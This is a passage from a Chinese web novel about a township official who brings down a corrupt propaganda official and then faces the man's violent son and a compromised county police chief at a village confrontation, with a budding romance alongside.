“你说的对。”苏沐秋轻声说道,“有些东西,确实比权力更重要。”
她忽然有些想靠近他,去感受他身上那种温暖而坚定的力量。
然而,她最终还是克制住了。
她知道,现在不是谈论这些的时候。
“我这里,有一些关于柳志鹏的资料。”苏沐秋从包里拿出一个U盘,递给叶凡,“都是我之前在跑新闻时,无意中收集到的。”
“他那个石料厂,不仅有污染问题,还涉嫌****,甚至在征地拆迁上,也有一些猫腻。”
“虽然不是什么大案,但足够给他带来一些麻烦。”
叶凡接过U盘,看了苏沐秋一眼,眼神中带着一丝感激。
“谢谢你,苏记者。”
“不用谢。”苏沐秋站起身,准备告辞,“能帮到你,我很高兴。”
她走到门口,又停了下来,回头看向叶凡。
“叶镇长。”
“嗯?”
“你……好好休息。”苏沐秋的脸颊,在昏暗的灯光下,微微泛红。
她没有再说什么,转身离开了办公室。
叶凡看着她离开的背影,嘴角不自觉地勾起一抹浅淡的笑容。
他知道,这场风暴,才刚刚开始。
而他,已经不再是一个人在战斗。
……
第二天,市纪委和组织部的调查组,在青山镇政府会议室,召开了一场简短的**。
**副**亲自主持,向媒体通报了初步调查结果。
他没有点名道姓地批评柳传明,但字里行间,都透着对某些“官僚主义作风”和“对群众疾苦麻木不仁”行为的强烈不满。
他强调,**、市政府高度重视平安村的环境健康问题,将成立由刘承德教授牵头的专项课题组,并全力支持青山镇开展环境治理和民生改善工作。
同时,他宣布,市纪委将对相关责任人,进行严肃处理。
这场通气会,无疑是对柳传明和林国良的“公开处刑”。
而就在通气会结束的当天下午,**组织部发布了一则**通知。
**宣传部副部长柳传明,因“工作失职,对下属单位管理不力,造成恶劣社会影响”,被免去副部长职务,调任市文联**,提前进入养老状态。
市卫生局局长林国良,因“对基层情况掌握不力,缺乏担当精神”,被免去局长职务,调任市总工会**。
这两项任命,表面上是平调,实则却是明升暗降,彻底断送了他们的**前途。
柳传明在办公室里,听到这个消息时,一口老血差点喷出来。
文联**?
一个没有任何实权的清水衙门,这简直是对他**生涯最大的羞辱!
他知道,这是高建民对他的最终宣判。
而这,仅仅只是开始。
叶凡看着手机上的新闻,眼神平静。
他知道,柳传明,只是他迈向更高舞台的第一块垫脚石。
而柳志鹏……
叶凡的目光,落在了苏沐秋给他的那个U盘上。
他会让他知道,什么叫,秋后算账。
第36章 尘埃落定,暗流汹涌!
**组织部的一纸调令,如同一阵秋风,将柳传明这片曾经繁茂的“大树”上最后几片枯叶,也无情地吹落。
消息传到青山镇,整个政府大院都沸腾了。
钱国栋在自己的办公室里,激动地来回踱步,那张饱经风霜的脸上,泛着多年未有的红光。
“倒了!真的倒了!”
他一拳砸在办公桌上,震得茶杯嗡嗡作响。
“叶凡,你小子,真是我的福将!不!是咱们青山镇的福将!”
李德海院长也闻讯赶来,看着叶凡的眼神,已经从最初的欣赏,变成了近乎崇拜的敬畏。
“叶镇长,柳传明在市里经营多年,关系网盘根错节,多少人想扳都扳不动,没想到……就这么被您轻描淡写地给解决了。”
面对着两位老干部的激动,叶凡却只是平静地给他们续上茶水,仿佛这一切,都与他无关。
“不是我解决了他们。”
叶凡的声音淡然如水。
“是他们自己,撞在了枪口上。”
钱国栋和李德海对视一眼,都从对方眼中读懂了叶凡话里的深意。
是啊,叶凡从头到尾,没有攻讦过柳传明一句。
他只是把事实摆了出来,把民心亮了出来。
是柳传明自己,傲慢到与事实为敌,愚蠢到与民心为敌。
“话是这么说,但这一仗,赢得太漂亮了!”钱国栋端起茶杯,一饮而尽,像是喝的庆功酒,“现在市里调查组还在,刘教授的专项课题组也马上成立,平安村的项目,再也没人敢卡脖子了!”
兴奋过后,钱国栋的眼神又逐渐凝重起来。
他把李德海支走,关上办公室的门,压低了声音。
“叶凡,柳传明虽然倒了,但事情还没完。”
“他那个儿子,柳志鹏,是个不折不扣的疯狗。”
“他爹在位的时候,他就敢横行霸道,现在他爹倒了,他没了顾忌,只会更疯。”
“他一定会把这笔账,算在你头上。你得千万小心。”
叶凡点了点头,从口袋里,拿出了那个黑色的U盘,放在桌上。
“**,我知道。”
他的目光落在U盘上,平静无波。
“疯狗咬人,是不会讲道理的。”
“对付疯狗,不能退,也不能躲。”
“你得准备一根更粗的棍子,等它扑上来的时候,一棍子,把它打死。”
钱国栋看着那个小小的U盘,瞳孔微微一缩,他知道,叶凡的“棍子”,已经准备好了。
……
江城市电视台。
柳如烟刚刚从演播室里走出来,脸上还挂着一丝职业性的疲惫。
周围的同事,看她的眼神,都变得有些异样。
有同情,有怜悯,但更多的,是幸灾乐祸和刻意的疏远。
她知道为什么。
父亲倒台的消息,早已传遍了整个江城的上流圈子。
那个曾经让她引以为傲的姓氏,如今,成了一个笑话,一个耻辱的烙印。
“烟姐,柳……柳部长的东西,都从办公室搬走了。”助理小心翼翼地凑过来,声音低得像蚊子。
柳如烟的身体,几不可察地晃了一下。
她强撑着,挤出一个比哭还难看的笑容。
“知道了。”
她快步走进自己的休息室,关上门,将自己与外面那些探究的目光隔绝开来。
那份强装的镇定,瞬间土崩瓦解。
她无力地滑坐在地,将脸埋在双膝之间,肩膀剧烈地颤抖起来。
怎么会这样?
怎么会变成这样?
她的父亲,那个在她心中永远高大、睿智、无所不能的男人,怎么会因为一个乡镇的小项目,就身败名裂?
而这一切的始作俑者,竟然是那个被她亲手抛弃的,她眼中“烂泥扶不上墙”的前夫!
一幕幕画面,在她脑海中疯狂闪回。
离婚时,叶凡那双死寂的眼睛。
在青山镇,叶凡被众星捧月般簇拥着的场景。
网络上,那张让刘承德教授下跪的照片里,叶凡抱着孩子,那悲悯而坚定的眼神。
她一直以为,是自己甩了叶凡。
可直到今天,她才悲哀地发现,或许,从一开始,就是自己,被他远远地甩在了身后。
她看不懂他,也从未看懂过。
悔恨、不甘、**、恐惧……种种情绪交织在一起,像一张大网,将她死死缠住,让她几乎窒息。
她颤抖着手,从包里拿出手机,鬼使神差地,拨出了那个她以为自己永生永世都不会再拨打的号码。
电话通了。
嘟……嘟……
每一声等待的忙音,都像一记重锤,砸在她的心上。
青山镇,叶凡的办公室里。
手机屏幕亮起,显示着“柳如烟”三个字。
叶凡只是平静地看了一眼,然后按下了静音键,将手机反扣在桌面上,继续审阅着关于平安村水质治理的方案。
仿佛那个电话,只是一只恼人的苍蝇,不值得他多费一秒钟的心神。
电话那头,忙音终断。
听着手机里传来的冰冷的女声,柳如烟的世界,彻底崩塌。
她终于忍不住,失声痛哭。
这哭声里,再也没有了往日的骄傲与矜持,只剩下无尽的悔恨与绝望。
……
夜,渐渐深了。
办公室的门被轻轻敲响。
“请进。”
门推开,苏沐秋提着一个保温饭盒,俏生生地站在门口。
她换下了一身干练的记者装,穿了件浅色的连衣裙,长发披肩,在灯光下,显得格外温婉动人。
“看你办公室灯还亮着,猜你肯定又没吃饭。”
苏沐秋将饭盒放在桌上,打开盖子,一股饭菜的香气,瞬间驱散了办公室里文件和墨水的味道
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。
是三菜一汤,家常,却很精致。
“苏记者,太麻烦你了。”叶凡有些不好意思。
“叫我沐秋吧。”苏沐秋的脸颊微微一红,她一边将饭菜摆好,一边轻声说,“你叫我苏记者,我总觉得是在采访,浑身不自在。”
叶凡愣了一下,随即笑了。
“好,沐秋。”
这个称呼的改变,让两人之间的气氛,瞬间变得有些微妙的暧昧。
“快吃吧,不然凉了。”苏沐秋催促道,自己则坐在一旁,双手托着下巴,静静地看着他。
叶凡确实饿了,他拿起筷子,大口地吃了起来。
他吃得很香,没有丝毫的客套。
苏沐秋看着他吃饭的样子,嘴角不自觉地泛起一抹温柔的笑意。
她喜欢看他这个样子,真实,不做作。
不像她见过的那些官员,吃饭都端着架子,一举一动都充满了算计。
“柳传明的事,我听说了。”苏沐秋轻声开口,打破了沉默。
叶凡吃饭的动作顿了顿,抬起头。
“你……好像一点都不意外?”苏沐秋有些好奇地问。
“该来的,总会来。”叶凡的回答,一如既往地平静。
苏沐秋看着他深邃的眼眸,心中忽然涌起一股强烈的情愫。
这个男人,仿佛天生就有一种掌控一切的从容和自信。
“那你接下来,打算怎么办?”她的声音里,带着一丝自己都未曾察觉的关心。
“先把饭吃完。”叶凡笑了笑,指了指饭盒,“然后,把平安村的事,一件件落实。”
“至于其他的……”
他的目光,不经意地扫过桌面上那个反扣着的手机。
“等鱼,自己上钩。”
苏沐秋的心,猛地一跳。
她知道,叶凡口中的“鱼”,指的就是柳志鹏。
她看着叶凡那张平静的脸,忽然觉得,柳志鹏的下场,恐怕会比他父亲,凄惨百倍。
吃完饭,叶凡坚持要送苏沐秋回去。
两人并肩走在青山镇安静的街道上,月光将他们的影子,拉得很长很长。
“谢谢你的晚饭。”叶凡开口。
“也谢谢你,为平安村做的这一切。”苏沐秋侧过头,看着他。
晚风,吹起她的一缕秀发,轻轻拂过叶凡的脸颊,带着一丝淡淡的馨香。
叶凡的心,莫名地漏跳了一拍。
他下意识地伸出手,想帮她将那缕乱发拨开。
苏沐秋的身体,也微微一僵,脸颊瞬间烫得厉害。
就在这时,叶凡的手机,突兀地响了起来。
打破了这旖旎的氛围。
叶凡收回手,有些尴尬地拿出手机,看到来电显示,他的眉头,微微皱起。
是钱国栋。
“叶凡,出事了!”电话那头,钱国栋的声音,急促而凝重。
“柳志鹏那条疯狗,动手了!”
第37章 疯狗的獠牙!
那旖旎的氛围,被这阵急促的手机铃声,切割得支离破碎。
叶凡收回那只悬在半空的手,脸上的柔和瞬间褪去,代之以一贯的沉静。
苏沐秋也像是从梦中惊醒,脸颊的滚烫提醒着她刚才的失神,她下意识地后退了半步,心跳如鼓。
叶凡看了一眼来电显示,眉头微不可察地一蹙,接通了电话。
“叶凡,出事了!”
电话那头,钱国栋的声音像是被火烧着一般,急促而凝重。
“柳志鹏那条疯狗,动手了!”
叶凡的眼神,骤然变得锐利如刀。
“**,您慢慢说,怎么回事?”
他的声音依旧平稳,听不出一丝慌乱,这股镇定自若的力量,通过听筒,让钱国栋焦躁的心,也稍稍安定了几分。
“我刚接到平安村村支书的电话,柳志鹏带着十几号人,开着几辆车,直接堵在了村口!”
“他叫嚣着,平安村的石料厂是他们柳家的产业,谁敢动一下,他就废了谁!”
“村支书带着几个村民拦着,已经被他的人推倒在地了!那群人看着就不像好人,一个个凶神恶煞的!”
钱国栋的声音里,充满了压抑不住的怒火和担忧。
“他这是在找死!市里的调查组还没走,他就敢这么明目张胆地行凶!”
苏沐秋在一旁听得真切,脸色瞬间变得煞白,她紧紧攥住了拳头,眼中满是担忧地看着叶凡。
她知道,柳志鹏这条疯狗,被逼急了,真的什么事都干得出来。
“他不是在找死。”
叶凡的语气,冰冷得没有一丝温度。
“他是在逼我们,也是在试探我们。”
“他知道他父亲倒了,石料厂迟早要被清算。他现在这么一闹,就是想把水搅浑,把事情从‘经济问题’,变成‘治安冲突’。”
“他想告诉所有人,他柳家就算倒了,也不是谁都能踩一脚的软柿子。”
钱国栋在那头倒吸一口凉气:“这个畜生!那……那现在怎么办?要不要让镇派出所出警?”
“不能。”
叶凡断然拒绝。
“镇派出所一去,就正中他的下怀。一旦发生大**,事情就说不清了。他甚至可以反咬一口,说我们基层干部**,欺压民营企业家。”
“柳传明虽然倒了,但他经营多年的关系网还在,**的玩法,柳志鹏耳濡目染,不会不懂。”
“**,您稳住,安抚好村支书,让他们尽量拖延,千万不要和对方起正面冲突,保护好村民的安全。”
“我马上过去。”
挂断电话,叶凡的眼中,已是一片深不见底的寒潭。
“我跟你一起去!”
苏沐秋没有丝毫犹豫,抓起自己的相机,语气坚定。
“我是记者,记录现场是我的职责。而且,多一个人,多一个证人。”
她看着叶凡,眼神里没有半分柔弱,只有并肩作战的决绝。
叶凡深深地看了她一眼,没有拒绝,只是点了点头。
“坐稳了。”
那辆破旧的国产车,发出一声低沉的咆哮,像一头被惊醒的野兽,猛地掉头,朝着平安村的方向,疾驰而去。
夜风,从车窗的缝隙里灌进来,吹乱了苏沐秋的长发,也吹得她心神不宁。
她看着身旁专心开车的男人,他的侧脸在忽明忽暗的路灯下,显得棱角分明,那份泰山崩于前而色不变的冷静,让她感到一种莫名的心安。
“你不怕吗?”她忍不住问道。
“柳志鹏那种人,就是亡命之徒。”
“怕,解决不了问题。”叶凡目视前方,声音沉稳。
“医生在手术台上,最怕的不是手术失败,而是失去冷静。”
“一旦失去冷静,手就会抖,判断就会出错,那才是真正的灾难。”
他顿了顿,语气里带上了一丝锋利的寒意。
“柳志鹏现在,就像一个失去理智的病人,拿着刀,在手术室里乱挥。”
“你不能比他更乱。”
“你要做的,是找到他的破绽,然后,一针,让他彻底安静下来。”
苏沐秋的心,被他这番话狠狠地触动了。
一针,让他彻底安静下来。
这话说得轻描淡写,却透着一股让人心悸的狠厉与自信。
车子在颠簸的乡间小路上飞驰,远远地,已经能看到平安村口,几道刺眼的车灯,将村口那棵老槐树,照得惨白。
喧嚣的叫骂声,隔着很远,都能清晰地传来。
叶凡将车停在远处,熄了火。
“你待在车里,锁好门,无论发生什么,都不要下来。”叶凡转头,严肃地对苏沐秋说。
“不行!”苏沐秋倔强地摇头,“我的相机,是最好的武器。”
叶凡看着她那双不容置疑的眼睛,沉默了片刻,最终妥协。
“跟在我身后,保护好自己。”
两人一前一后,借着夜色的掩护,悄悄靠近了村口。
眼前的景象,比钱国栋描述的,还要混乱。
十几名流里流气的青年,嘴里叼着烟,手里拎着镐把和钢管,将村口堵得水泄不通。
为首的,正是柳志鹏。
他穿着一身名牌,头发染得乱七八糟,一张脸因为愤怒和酒精,涨成了猪肝色。
“**!都给老子滚开!”
柳志鹏一脚踹在村支书张大山的胸口,将这个五十多岁的老人,踹得一个踉跄,摔倒在地。
“一个破石料厂,是老子看得起你们,才开在你们这穷山沟里!现在翅膀硬了,敢联合外人,搞老子?”
“我告诉你们,我爸是倒了,可我柳志鹏还在!”
“今天谁敢拦我,我就打断谁的腿!”
几个年轻的村民想冲上去理论,却被那些手持凶器的混混,恶狠狠地逼了回去。
村民们的脸上,写满了愤怒与恐惧。
他们是淳朴的庄稼人,哪里见过这种阵仗。
“柳志鹏。”
一个清冷的声音,不大,却像一把锋利的冰锥,瞬间刺穿了现场所有的嘈杂。
所有人的目光,齐刷刷地望了过去。
只见叶凡,正一步一步,从黑暗中,缓缓走出。
他的身后,跟着举着相机的苏沐秋,闪光灯“咔嚓”一声,将柳志鹏那张狰狞的脸,清晰地定格。
“叶凡!”
柳志鹏看到来人,眼睛瞬间就红了,像是看到了不共戴天的仇人。
“你个**!你还敢来!”
他扔掉手里的烟,指着叶凡的鼻子,破口大骂。
“我爸就是被你这个阴险小人害的!你把我柳家害得这么惨,今天,我就让你拿命来偿!”
叶凡没有理会他的咆哮,只是平静地走上前,将摔倒在地的张大山扶了起来。
“张**,您没事吧?”
“叶镇长,您怎么来了!这里危险,您快走!”张大山急得满头大汗。
叶凡拍了拍他的肩膀,示意他安心。
然后,他才转过身,正视着暴跳如雷的柳志鹏。
他的眼神,没有愤怒,没有恐惧,只有一种医生审视病人的,冷静与淡漠。
“柳志鹏,带着你的人,现在离开,我可以当做什么都没发生过。”
“哈哈哈哈!”柳志鹏像是听到了天底下最好笑的笑话,狂笑起来。
“你当做什么都没发生?你算个什么东西!一个被我们柳家像垃圾一样扔掉的上门女婿,一个靠着投机钻营爬上来的小瘪三!”
他面目狰狞地向前一步,几乎要凑到叶凡的脸上。
“今天,我就要当着全村人的面,把你这条腿打断!我看你以后,还怎么当官!”
他猛地一挥手,对身后的混混们下令。
“给我上!打!往死里打!出了事,我担着!”
那十几个混混,发出一声呐喊,挥舞着手中的凶器,就要朝叶凡扑来。
苏沐秋的心,瞬
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间提到了嗓子眼,下意识地就要挡在叶凡身前。
村民们也发出了惊恐的尖叫。
然而,叶凡却依旧站在原地,纹丝不动。
就在那第一根钢管,即将落到他头上的瞬间,他开口了。
声音依旧平静,却清晰地传到了每个人的耳朵里。
“你名下的‘鹏程建材’,三年前,在办理石料厂土地租用合同时,伪造了三户村民的签字。”
柳志鹏的动作,猛地一僵。
“去年,你的公司账目上,有两笔总计一百七十二万的款项,去向不明,涉嫌****。”
那些混混的脚步,也下意识地慢了下来。
“还有,五年前,你开车撞伤一名环卫工人,私了赔偿了二十万。但那笔钱,是你动用了柳氏集团旗下的一笔慈善基金。”
“这件事,柳传明都不知道吧?”
叶凡的每一句话,都像一根无形的针,精准地扎在柳志鹏的死穴上。
这些,正是苏沐秋给他的那个U盘里的内容。
柳志鹏脸上的嚣张和狰狞,一点点褪去,取而代之的,是无边的惊恐和难以置信。
他像是见了鬼一样,指着叶凡,嘴唇哆嗦着。
“你……你怎么会知道?!”
“我还知道,你现在开的这辆保时捷,登记在你的一个情人名下,而她,每个月都会收到一笔来自澳门的汇款。”
叶凡向前踏出一步,那股无形的气场,逼得柳志鹏,不由自主地后退了一步。
“柳志鹏,你和你父亲不一样。”
“你父亲,是**规矩的狼。”
“而你……”
叶凡的嘴角,勾起一抹冰冷的、如同手术刀般锋利的弧度。
“只是一个满身漏洞的,纸老虎。”
“你现在带着你的人滚,我还能让你体面地,去纪委喝茶。”
“如果你非要在这里,把事情闹大……”
“那我保证,你下半辈子,只能在牢里,回忆你今天的威风了。”
“你……”
柳志鹏被这番话,彻底击溃了心理防线,他脸色煞白,浑身颤抖,一个字也说不出来。
他那些所谓的手下,也面面相觑,再也不敢上前一步。
他们是出来混钱的,可不是出来给一个马上要进监狱的傻子陪葬的。
现场,陷入了一片死寂。
只有苏沐秋相机快门,在“咔嚓咔嚓”地,记录着这戏剧性的一幕。
柳志鹏,这个不可一世的疯狗,就这么被叶凡三言两语,剥光了所有的伪装,赤裸裸地晾在了耻辱柱上。
就在这僵持的时刻。
“呜——呜——”
一阵刺耳的警笛声,由远及近,划破了青山镇宁静的夜空。
不止一辆!
是四五辆警车!
闪烁的红蓝警灯,将村口所有人的脸,都映照得一片惨白。
苏沐秋和村民们,脸上露出了喜色。
而柳志鹏和他的手下,则是一脸死灰。
只有叶凡,眉头,再次紧紧地皱了起来。
不对。
他没有报警。
而且,来的不是镇派出所的车,看车牌,是县**局的!
是谁?
是谁在背后,还布了另一张网?
警车呼啸而至,稳稳停下,车门打开,一群全副武装的警察,迅速控制了现场。
一个身穿警监制服,身材高大,面容冷峻的中年男人,从为首的警车上,走了下来。
他目光如电,扫过全场,最后,停留在了叶凡的身上。
他的眼神,复杂难明,既有审视,也有一丝不易察觉的……敌意。
县**局局长,赵东来。
他怎么会亲自带队,来处理一个乡下的治安**?
叶凡的心中,警铃大作。
他意识到,事情,远比他想象的,要复杂得多。
今晚的这场戏,他以为自己是导演。
却没想到,还有另一个导演,隐藏在幕后。
第38章 螳螂捕蝉,黄雀在后!
警灯的红蓝光芒,如同两只冰冷的眼睛,在平安村口的夜色中交替闪烁,将每个人的脸都切割成明暗不定的碎片。
赵东来,青川县**局的一把手,他的出现,瞬间改变了整个现场的气场。
那是一种由绝对权力带来的不容置疑的压迫感。
柳志鹏和他那群手下脸上的死灰在看到赵东来后,迅速被一种劫后余生的狂喜和有恃无恐的嚣张所取代。
而村民们脸上的喜悦则在赵东来那冷峻如冰的目光扫过后,慢慢凝固,化作了深深的不安。
“赵局!”
柳志鹏仿佛看到了救星,连滚带爬地冲了过去,一把鼻涕一把泪地哭诉起来。
“赵局!您可要为我做主啊!这个姓叶的,他公报私仇,仗着自己是个镇长,就带人来我们厂里**,还想抢我们的厂子!”
他颠倒黑白,恶人先告状,将自己塑造成了一个被权力欺压的无辜商人。
赵东来没有看他,甚至没有理会他伸过来想拉自己胳膊的手。
他的目光像鹰隼一样,死死地锁在叶凡的身上。
“叶凡同志。”
他开口了,声音低沉,带着金属般的质感,却刻意将“同志”两个字,咬得格外生硬。
“我接到群众举报,说这里发生大规模聚众斗殴,严重影响社会治安。你作为青山镇的副镇长,不仅没有及时制止,反而身处冲突中心。”
他的话,像一把淬了毒的**,悄无声息地递了过来。
他没有问前因后果,没有问谁是谁非,一开口,就将“失职”的帽子,扣在了叶凡的头上。
叶凡的心,彻底沉了下去。
他知道,自己猜对了。
今晚这场戏,柳志鹏只是台前那个上蹿下跳的小丑,而这位**局长才是藏在幕后的真正的导演。
“赵局长,我想你可能误会了。”
叶凡的声音依旧平静,他往前一步,将苏沐秋和身后的村民,不着痕迹地护在身后。
“第一,这里没有发生聚众斗殴,只是柳志鹏先生,带人寻衅滋事,恐吓村民,并且打伤了平安村的村支书。”
“第二,我来到这里,是为了制止事态恶化,保护人民群众的生命财产安全,这正是我作为一名干部的职责。”
他的逻辑清晰,不卑不亢,每一个字都掷地有声。
赵东来冷笑一声,那双锐利的眼睛里,透出一丝毫不掩饰的轻蔑。
“是不是寻衅滋事,是不是聚众斗殴,不是你说了算,也不是我说了算,是证据说了算。”
他大手一挥,对身后的警察下令。
“把所有涉事人员,全部带回局里!分开审讯!”
“还有,那位女同志手里的相机,作为重要证物,立刻查封!”
此言一出,全场哗然。
柳志鹏的脸上露出了得意的狞笑。
他知道,只要进了**局,到了他赵东来的地盘,是圆是扁,还不是他一句话的事?
叶凡这个小瘪三,就算有天大的本事,也插翅难飞!
“不行!”
苏沐秋几乎是下意识地将相机紧紧抱在怀里,愤怒地瞪着赵东来。
“我是江城电视台的记者!我有新闻采访的权利!你们无权查封我的设备!”
赵东来眉头一皱,眼中闪过一丝不耐。
“记者?”他冷哼道,“在我的辖区,就算是记者,也要遵守法律!我怀疑你拍摄的内容,经过了剪辑,无法客观反映事实,必须带回去进行技术鉴定!”
好一个冠冕堂皇的理由!
这已经不是偏袒,而是赤裸裸的构陷!
“赵局长。”
叶凡的声音冷了下来。
“这位是县报的苏沐秋记者,她今天所拍摄的一切,都是在履行媒体的监督职责。你以一个‘怀疑’,就要查封记者的设备,这个做法,是否符合程序?又是否经得起推敲?”
“我怎么做事,还轮不到你一个乡镇干部来教我!”
赵东来彻底撕下了伪装,语气中充满了居高临下的傲慢。
“叶凡,我警告你,不要妨碍公务!否则,我连你一起拷回去!”
他身后的两名警察已经按住了腰间的警械,虎视眈眈地逼了上来。
空气仿佛在这一刻凝固。
村民们紧张得连大气都不敢喘。
苏沐秋的心更是提到了嗓子眼,她知道赵东来这是铁了心要置叶凡于死地。
她看着挡在自己身前的那个背影,宽厚而坚定。
在这一刻,她忽然不那么怕了。
有他在,天,就塌不下来。
叶凡静静地看着赵东来,看着他那张写满了“我是规矩”的脸。
他忽然笑了。
那笑容很淡,却带着一丝洞穿一切的嘲讽。
“赵局长,你说的对。”
他缓缓开口,“是不是斗殴,确实是证据说了算。”
“不过,判断这件事性质的,恐怕也不该是你,更不该是我。”
在赵东来疑惑的目光中,叶凡拿出了自己的手机。
他没有理会那几名虎视眈眈的警察,也没有再看柳志鹏那张小人得志的脸。
他当着所有人的面,从容地拨通了一个号码。
电话响了两声,便被接通。
“喂?”
电话那头,传来一个沉稳而威严的声音。
赵东来的瞳孔,猛地一缩!
一种不祥的预感如同毒蛇,瞬间缠上了他的心脏。
“王**,您好,我是青山镇的叶凡。”
叶凡的语气,不疾不徐,带着一种恰到好处的尊重。
“这么晚打扰您,实在抱
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歉。”
“我现在在平安村的村口,这里出了一点情况。”
他顿了顿,目光若有若无地扫过脸色已经开始变化的赵东来。
“柳传明的儿子柳志鹏,带人在这里恐吓村民,阻挠我们后续工作的开展。县**局的赵东来局长也亲自带队来到了现场。”
“不过……”
叶凡的话锋,陡然一转。
“赵局长认为,这是一起普通的聚众斗殴,要把所有人都带回局里调查。”
“而我个人认为,柳志鹏的行为可能涉嫌‘有组织地对抗组织审查’,是在公然挑衅**调查组的权威。”
“这件事的性质,我一个基层干部不敢妄下判断。赵局长这边似乎也有些为难。”
“所以,我想请示一下您这位调查组的领导。”
“您看,这件事,究竟应该由县**局来定性为‘治安案件’,还是应该由我们市纪委调查组,来定性为‘对抗审查’的**事件呢?”
叶凡的声音清清楚楚地通过手机的听筒,也回荡在死寂的村口。
每一个字都像一记重锤,狠狠地砸在赵东来的心上!
诛心!
这才是真正**不见血的诛心之计!
叶凡没有指责他,没有控诉他,甚至还“体贴”地为他找了“为难”的台阶。
可他提出的这个问题,却像一道催命符,将赵东来死死地钉在了原地!
治安案件?
他敢吗?
他敢当着市纪委副**的面,把一件可能涉及“对抗组织审查”的**事件,降格为普通的治安案件吗?
这要是传出去,他这个**局长屁股底下到底有多不干净,还用说吗?
**事件?
如果他承认这是**事件,那他刚刚那番要带走所有人,查封记者相机的操作,又算什么?
是滥用职权?
还是……与柳志鹏同流合污,意图包庇**,阻挠纪委办案?
无论他怎么选,都是死路一条!
赵东来脸上的血色以肉眼可见的速度,迅速褪去。
冷汗从他的额角,涔涔而下。
他看着眼前这个年轻人,那张平静的脸上带着一丝若有若无的微笑,可在他看来,那笑容比魔鬼还要可怕!
他本以为自己是黄雀,是掌控一切的猎人。
可直到这一刻,他才惊恐地发现自己才是那只一头撞进了蛛网的,愚蠢的飞蛾!
而叶凡,就是那张网的主人!
“嘟……嘟……”
叶凡挂断了电话。
他甚至没有等**的回答。
因为他知道,**的回答只有一个。
“赵局长。”
叶凡看着脸色煞白,浑身僵硬的赵东来,微笑着问道:
“现在,您觉得,这件事,该怎么处理?”
第39章 黄雀之后的猎人!
时间,仿佛在这一刻被叶凡那句轻描淡写的问话,彻底冻结。
夜风,依旧吹拂。
警灯,依旧闪烁。
可整个平安村口的气氛,却发生了天翻地覆的逆转。
那是一种权力天平,在瞬间倾覆后,令人窒息的死寂。
赵东来脸上的肌肉,在剧烈地抽搐。
他额角滑落的冷汗,已经不是一滴,而是一串,沿着他僵硬的脸部线条,滚落进他那被警服浆得笔挺的衣领里,带来一片冰凉的湿意。
他像一尊被雷劈中的雕像,死死地盯着叶凡,眼神里,是无法掩饰的惊骇、震怒,以及,一丝从骨子里透出来的,恐惧。
治安案件?
对抗审查?
叶凡用一个看似在请示的选择题,却为他布下了一个必死的陷阱!
他怎么敢选?
他怎么能选?
他背后的那个人,让他来给叶凡一个下马威,是让他来“按规矩办事”,用**局长的权威,将叶凡这个不听话的棋子,死死按住。
可不是让他,来跟市纪委调查组,正面硬刚!
他今天要是敢把这顶“对抗审查”的帽子接过来,明天,市纪委调查组的调查对象,恐怕就要多他一个了!
而那个自始至终,都没有在电话里说一句话的****,他的沉默,才是最可怕的泰山压顶!
沉默,代表着他听到了。
沉默,代表着他在等自己的答案。
沉默,代表着他已经将这里发生的一切,纳入了纪委的视线!
赵东来感觉自己的后心,已经被冷汗彻底浸透。
他看着眼前这个年轻人。
那张清秀的脸上,挂着一丝人畜无害的微笑,可那双深邃的眼眸里,却藏着一头择人而噬的洪荒猛兽!
他终于明白了。
他以为自己是来捕蝉的螳螂。
却没想到,叶凡,才是那只站在螳螂身后,举着**的,真正的猎人!
“呵……呵呵……”
赵东来喉咙里发出一阵干涩的、比哭还难听的笑声。
他猛地转过身,那张煞白的脸,瞬间又涨成了猪肝色,他用尽全身的力气,对着那群同样呆若木鸡的警察,歇斯底里地咆哮起来。
“都他妈愣着干什么!”
“没听到叶镇长的话吗!”
“柳志鹏!涉嫌聚众寻衅滋事!暴力抗法!公然对抗**调查组!罪大恶极!”
“还有他这群同伙!一个都不能放过!”
“全部给我拷起来!带回局里!从严!从重!审讯!”
这位县**局长,前一秒还威风凛凛,下一秒,就变成了一条摇尾乞怜,急于向新主人表忠心的狗。
这戏剧性的一幕,让所有人都看呆了。
“赵……赵局?你……”
柳志鹏彻底懵了,他不敢相信自己的耳朵,他冲上去,想抓住赵东来的胳膊。
“啪!”
赵东来反手就是一记响亮的耳光,狠狠地抽在了柳志鹏的脸上。
“滚开!”
他像是要甩掉什么瘟疫一样,满眼都是厌恶和恐惧。
“**的害死我了!”
这一巴掌,彻底把柳志-鹏打醒了。
他看着赵东来那张狰狞的脸,终于意识到,自己被抛弃了。
他这颗没用的棋子,被那个真正下棋的人,毫不犹豫地,扔掉了。
“赵东来!你个王八蛋!”
绝望之下,柳志鹏也疯了,他指着赵东来的鼻子,破口大骂。
“你收了我爸多少钱!你答应过他什么!你说过会帮我弄死这个姓叶的!你现在……”
他的话还没说完,两名反应过来的警察,已经一拥而上,用**将他死死拷住,另一只手,则粗暴地捂住了他的嘴。
然而,那句“收了我爸多少钱”,已经像一颗炸雷,清晰地在每个人的耳边炸响。
苏沐秋的相机,忠实地记录下了这一幕。
赵东来的脸色,最后一丝血色也褪尽,变成了**般的惨白。
他知道,自己完了。
就算今天能逃过一劫,柳志鹏这句临死前的反扑,也足以让他焦头烂额。
“带走!全部带走!”
赵东来几乎是嘶吼着下达了命令,再也不敢看叶凡一眼,像是逃跑一样,狼狈地钻进了警车。
警车呼啸着,来时气势汹汹,去时,却像一群夹着尾巴的丧家之犬。
村口,只剩下一片狼藉,和劫后余生的村民。
短暂的沉寂后。
“叶镇长威武!”
不知是谁,第一个喊了出来。
紧接着,雷鸣般的欢呼声,响彻了整个平安村的夜空!
村民们一拥而上,将叶凡团团围住,那一张张淳朴的脸上,写满了激动与感激。
张大山**更是老泪纵横,紧紧握着叶凡的手,说不出一句话来。
叶凡微笑着,安抚着激动的人群。
他的目光,穿过人群,落在了那个抱着相机,静静地站在不远处的女孩身上。
苏沐秋也正看着他。
她的眼眶,有些微红,但那双明亮的眸子里,却闪烁着一种前所未有的光彩。
那光彩里,有震撼,有钦佩,有后怕,更有一些,连她自己都未曾察觉的,痴迷。
今晚发生的一切,对她的冲击,太大了。
她看到了权力的蛮横,人性的丑陋,也看到了,一个男人,是如何用智慧和胆魄,在绝境之中,闲庭信步,翻手为云,覆手为雨。
待人群渐渐散去,叶凡走到了她的面前。
“吓坏了吧?”
他柔声问道。
苏沐秋摇了摇头,却将怀里的相机,抱得更紧了些。
叶凡注意到,她那只握着相机的手,指节因为用力而发白,还在微微地颤抖。
他没有说话,只是伸出手,轻轻地,覆在了她的手背上。
温热的触感,从手背传来,像一股暖流,瞬间流遍了苏沐秋的全身。
